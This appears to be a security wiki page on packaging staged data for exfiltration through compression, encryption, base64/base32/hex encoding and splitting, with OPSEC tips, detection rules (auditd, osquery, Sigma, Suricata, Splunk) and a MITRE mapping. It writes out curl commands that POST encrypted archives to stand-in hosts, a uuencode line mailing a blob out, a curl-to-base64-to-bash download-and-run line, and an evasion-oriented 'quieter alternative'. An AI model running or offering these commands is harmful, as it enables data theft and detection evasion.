Encoding, Compression & Encryption for Transfer
The data-preparation layer between staging and transport, and an honest accounting of the telemetry each step emits. Encoding never hides data - it expands it and stamps it with a recognizable charset that defenders match on.
Related pages: Exfil principles & staging | DNS tunneling | HTTPS & cloud | base64 & encoding telemetry deep-dive
What & why
The goal is to turn staged loot into a blob that survives the chosen transport channel without corruption and resists casual inspection. The canonical pipeline is: compress -> encrypt -> (optionally encode) -> split -> transport. Compression shrinks volume; encryption makes the payload opaque to content inspection; encoding makes binary data safe over text-only channels. The trap is believing any of this makes you quieter on the host or the wire. Compression and encryption raise output entropy toward 8.0 bits/byte - a value that DLP engines and IDS entropy heuristics flag. Encoding adds a recognizable alphabet and inflates size ~33%. None of it removes the process, file-write, or network artifacts the preparation generates.
Technique
Order of operations
Compress before encrypting. Encryption produces near-random output that does not compress. Reversing the order wastes the compression entirely.
# compress -> encrypt (lab passphrase only)
tar -C /tmp/stage -czf - . \
| openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:LAB_PASSPHRASE \
> /dev/shm/blob.enc
# decrypt + extract on operator host
openssl enc -d -aes-256-cbc -pbkdf2 -pass pass:LAB_PASSPHRASE -in blob.enc \
| tar -xzf - -C ./out/
Prefer age (https://age-encryption.org) for modern key-based encryption:
# encrypt to a recipient public key - no passphrase in process args
tar -C /tmp/stage -czf - . | age -r age1ql3z7hjy... > /dev/shm/blob.age
age avoids the passphrase-in-argv problem (visible to ps, auditd, EDR).
Compression
# gzip via tar (default, widely available)
tar -czf /dev/shm/stage.tar.gz /tmp/stage/
# zstd - faster, comparable ratio
tar -I zstd -cf /dev/shm/stage.tar.zst /tmp/stage/
# xz - best ratio, slow - for size-sensitive channels
tar -Jcf /dev/shm/stage.tar.xz /tmp/stage/
The artifact: a new file in /dev/shm or /tmp, an auditd open(O_WRONLY|O_CREAT) + write record, and an EDR file-creation event. /dev/shm is tmpfs - no disk write, no inode in /tmp - but it is still visible to auditd and EDR kernel hooks.
Encoding for transport
Encoding is needed only when the channel is text-only: DNS labels, JSON fields, HTTP headers, copy-paste over a terminal. On an already-encrypted HTTPS channel the payload is binary-safe and encoding is unnecessary noise.
base64 - the most common, the most heavily logged:
# pipe into curl without a staging file
tar -czf - /tmp/stage/ | openssl enc -aes-256-cbc -pbkdf2 -pass pass:LAB | base64 -w0 \
| curl -s -X POST -d @- https://203.0.113.10/recv
# decode on operator side
cat received.b64 | base64 -d | openssl enc -d -aes-256-cbc -pbkdf2 -pass pass:LAB | tar -xzf -
base32 - used in DNS labels (63-char limit per label, only [A-Z2-7=] uppercase-safe):
echo -n "small secret" | base32 # ONSWG4TFONZWK3DTMVWGKZLE
hex / xxd - useful when only hex chars are allowed:
xxd -p /tmp/small.bin | tr -d '\n'
xxd -p -r <<< "deadbeef..."
uuencode - legacy, found in mail/NNTP flows:
uuencode /tmp/blob.enc blob.enc | mail -s x ops@192.0.2.1
Splitting large blobs
# split into 10 MB chunks
split -b 10M /dev/shm/blob.enc /dev/shm/chunk_
# reassemble
cat /dev/shm/chunk_* > blob.enc
Each chunk file is a separate disk artifact and a separate file-create event.
The decode-and-execute anti-pattern
# THIS IS THE LOUDEST POSSIBLE PATTERN - heavily signatured
curl https://192.0.2.1/payload | base64 -d | bash
echo "aGVsbG8=" | base64 -d | sh
Both lines produce: shell history entry, auditd execve record for base64 with full argv, a base64->sh or curl->base64->sh process tree that EDR and Falco flag by name, and on the wire a base64 string that Suricata content rules and proxy DLP match. See dedicated section below and the deep-dive companion page.
Quieter alternative
Encrypt to opaque bytes and send them inside an already-encrypted channel (HTTPS/TLS). No base64, no recognizable charset, no size inflation. The entropy tell remains (high-entropy blob in HTTP body) but content-match and charset heuristics do not apply.
# in-memory: compress + encrypt + POST without touching disk or encoding
tar -czf - /tmp/stage/ \
| age -r age1ql3z7hjy... \
| curl -s --data-binary @- https://203.0.113.10/recv
OPSEC notes
base64in a pipeline is fully visible in auditd execve and EDR. The argv shows the pipe structure. Shell history keeps the one-liner./dev/shmavoids disk I/O but does NOT avoid kernel-level file-open/write hooks.- Large staging files trigger disk-usage anomalies and DLP file-size thresholds.
- The passphrase in
openssl enc -pass pass:...appears in/proc/PID/cmdlineand in auditd proctitle records while the process runs. Use key files oragewith key files instead. - High-entropy output (encrypted/compressed blobs) in HTTP bodies is itself a DLP/IDS signal even when the content cannot be decoded.
base32in DNS labels is visible as high-entropy, long subdomain strings in DNS query logs - see DNS tunneling.- Splitting into fixed-size chunks produces a regular pattern (same size, repeated writes) that volume analytics detect.
Detection & telemetry
Host - process/file
| Signal | Source | Detail |
|---|---|---|
base64/base32/xxd process spawn | auditd execve, EDR process event | Full argv including pipeline captured. Parent: bash, sh, zsh. |
base64 -d piped to shell | auditd, EDR, Falco | Process tree: sh -> base64 -> sh or curl -> base64 -> sh. Rule name: “base64 decode piped to shell”. |
| Passphrase in cmdline | auditd proctitle | openssl enc ... -pass pass:SECRET visible in /proc/PID/cmdline during process lifetime. |
Large file create in /tmp or /dev/shm | auditd open(O_CREAT), EDR file event | Staging archives. Watch for files >10 MB in temp paths. |
| Archive creation burst | EDR, auditd | Many write syscalls to a single fd in short window = archiving behavior. |
auditd rule to catch base64 execution:
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/base64 -k base64_exec
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/xxd -k xxd_exec
osquery - recent base64/xxd/uuencode executions:
SELECT p.pid, p.name, p.cmdline, p.parent, p.start_time
FROM processes p
WHERE p.name IN ('base64','base32','xxd','uuencode','openssl')
AND p.start_time > (strftime('%s','now') - 3600);
Sigma-style rule - decode and execute:
title: base64 Decode Piped to Shell
logsource:
product: linux
category: process_creation
detection:
selection:
CommandLine|contains:
- 'base64 -d'
- 'base64 --decode'
pipe_to_shell:
CommandLine|contains:
- '| sh'
- '| bash'
- '| python'
condition: selection and pipe_to_shell
Network - on the wire
| Signal | Source | Detail |
|---|---|---|
| Long base64 string in HTTP body/URL | Suricata/Snort content, proxy DLP | [A-Za-z0-9+/]{60,}={0,2} in POST body or query param. |
| High Shannon entropy in HTTP body | DLP engine, IDS entropy scoring | Encrypted/compressed blobs score near 8.0 bits/byte. |
| Large upload asymmetry | NetFlow/IPFIX | Outbound bytes » inbound bytes on a session. |
| base64 in DNS label | DNS query log, Zeek dns.log | Label length >30 chars, charset [A-Z2-7] for base32 or [A-Za-z0-9+/] for base64. |
Suricata content match concept for base64 in HTTP POST:
alert http any any -> any any (
msg:"base64 encoded blob in HTTP POST body";
flow:established,to_server;
http.method; content:"POST";
http.request_body;
pcre:"/[A-Za-z0-9+\/]{80,}={0,2}/";
threshold:type limit,track by_src,count 1,seconds 60;
sid:9000001; rev:1;
)
Splunk - long base64 strings in proxy/web logs:
index=proxy OR index=web
| eval b64_match=match(uri_query."."cs_uri_stem."."cs_post_body, "[A-Za-z0-9+/]{60,}={0,2}")
| where b64_match=1
| stats count by src_ip, dest_host, uri_stem
The core lesson
base64 is encoding, not encryption. It inflates size ~33%, stamps the data with a recognizable [A-Za-z0-9+/]+=* charset, and is reversed by any analyst in one command. Using it on a transfer operation raises signal rather than lowering it. The decode-and-execute chain (| base64 -d | sh) is one of the most-signatured patterns across Sigma, Falco, and commercial EDR. The Windows equivalents (certutil -decode, PowerShell -EncodedCommand) are equally flagged. Full treatment: base64 & encoding telemetry.
MITRE ATT&CK
- T1560.001 - Archive Collected Data: Archive via Utility (tar, gzip, zip)
- T1027 - Obfuscated Files or Information (encoding/encoding to evade content inspection)
- T1027.003 - Steganography (encoding within protocol fields)
- T1132 - Data Encoding
- T1132.001 - Data Encoding: Standard Encoding (base64, base32, hex)
- T1048 - Exfiltration Over Alternative Protocol (when encoding enables DNS/other channel)
References
- MITRE ATT&CK T1132 Data Encoding: https://attack.mitre.org/techniques/T1132/
- MITRE ATT&CK T1560 Archive Collected Data: https://attack.mitre.org/techniques/T1560/
- age encryption tool: https://age-encryption.org / https://github.com/FiloSottile/age
- auditd man page and audit.rules(7): https://man7.org/linux/man-pages/man8/auditd.8.html
- Sigma rule repository (detect base64 patterns): https://github.com/SigmaHQ/sigma
- Suricata rule writing guide: https://docs.suricata.io/en/latest/rules/
- GTFOBins - base64: https://gtfobins.github.io/gtfobins/base64/
- osquery process_events table: https://osquery.io/schema/current/#process_events